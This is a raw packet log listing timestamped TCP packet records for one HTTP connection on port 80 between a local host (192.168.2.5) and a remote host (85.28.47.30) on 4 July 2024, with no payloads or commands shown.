Jul 4, 2024 22:20:32.787389040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787400961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787409067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787412882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787425995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787431002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787445068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787462950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787630081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787641048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787650108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787682056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787700891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787713051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787724972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787734985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787746906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787756920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787756920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787770987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.787779093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787792921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.787816048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788007975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788019896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788028955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788048983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788049936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788059950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788074970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788075924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788089037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788098097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788100958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788113117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788120031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788121939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788135052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788146019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788175106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788361073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788372993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788382053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788393021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788403988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788408041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788417101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788419008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788430929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788443089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788470030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788568020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788578033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788588047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788604021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788619041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788623095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788633108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788641930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788652897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788656950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788666964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788671970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788693905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788716078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788836956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788847923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788857937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788870096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788880110 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788882017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.788902998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.788914919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789120913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789132118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789141893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789150953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789160013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789165974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789170980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789181948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789189100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789192915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789201975 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789205074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789213896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789217949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789233923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789243937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789247990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789253950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789263010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789267063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789278030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789283037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789289951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789300919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789305925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789311886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.789328098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.789340019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.888746977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888787031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888797045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888859034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.888899088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888911009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888920069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888931036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.888947010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.888962984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.889123917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889133930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889143944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889153957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889163971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889169931 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.889187098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.889205933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.889333010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889343977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889352083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.889369965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.889383078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893071890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893085957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893096924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893131018 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893148899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893299103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893313885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893323898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893336058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893347025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893354893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893373966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893390894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893448114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893459082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893470049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893481016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893491030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893491030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893502951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893515110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893517017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893526077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893531084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893539906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893551111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893577099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.893943071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893954039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893963099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893973112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.893987894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894000053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894181013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894289970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894300938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894331932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894344091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894362926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894373894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894382954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894392967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894406080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894429922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894532919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894543886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894553900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894562960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894570112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894573927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894587040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894594908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894598961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894609928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894619942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894623995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894633055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894659042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894736052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894830942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894841909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894850969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894860983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894870043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894872904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894884109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894891977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894897938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894905090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894917011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894922972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894927979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894942045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894948006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894953012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894963980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894967079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.894977093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.894987106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895009995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895257950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895270109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895297050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895318985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895493031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895503998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895513058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895524025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895531893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895535946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895539999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895553112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895564079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895569086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895576000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895586967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895592928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895596981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895606995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895617962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895621061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895628929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895628929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895642996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895654917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895677090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895862103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895872116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895884037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895894051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895895958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895905972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895916939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895940065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.895965099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895976067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895984888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.895998001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896001101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896009922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896020889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896022081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896033049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896043062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896050930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896054983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896058083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896089077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896476030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896492958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896505117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896514893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896523952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896524906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896533012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896536112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896547079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896557093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896559000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896569014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896578074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896584034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896589994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896598101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896601915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896614075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896624088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896625996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896636963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896642923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896648884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.896667957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.896707058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982320070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982331038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982347012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982357979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982372046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982383013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982389927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982394934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982431889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982453108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982492924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982830048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982867002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982878923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982892036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982917070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982927084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982947111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982958078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982969046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982980967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.982985973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.982992887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.983016968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.983220100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.983262062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986521959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986572981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986574888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986584902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986607075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986619949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986685038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986696005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986705065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986715078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986726999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986757994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986848116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986857891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986867905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986876965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986880064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986891985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.986903906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.986927032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987020969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987031937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987057924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987077951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987103939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987113953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987118959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987147093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987157106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987206936 CEST	80	49704	85.28.47.30	192.168.2.5
